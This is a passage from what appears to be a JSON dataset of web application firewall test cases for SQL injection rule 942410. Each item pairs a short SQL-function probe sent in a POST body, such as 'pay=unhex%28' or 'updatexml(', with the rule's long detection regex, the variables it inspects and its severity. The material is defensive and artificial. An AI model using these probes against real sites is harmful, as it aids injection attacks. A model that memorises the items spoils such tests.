|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "SUBSTRING(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=sysdate(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "time (" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=time%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=trim%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=Uncompress+%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=unhex%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=uNhEx%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=updatexml%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", 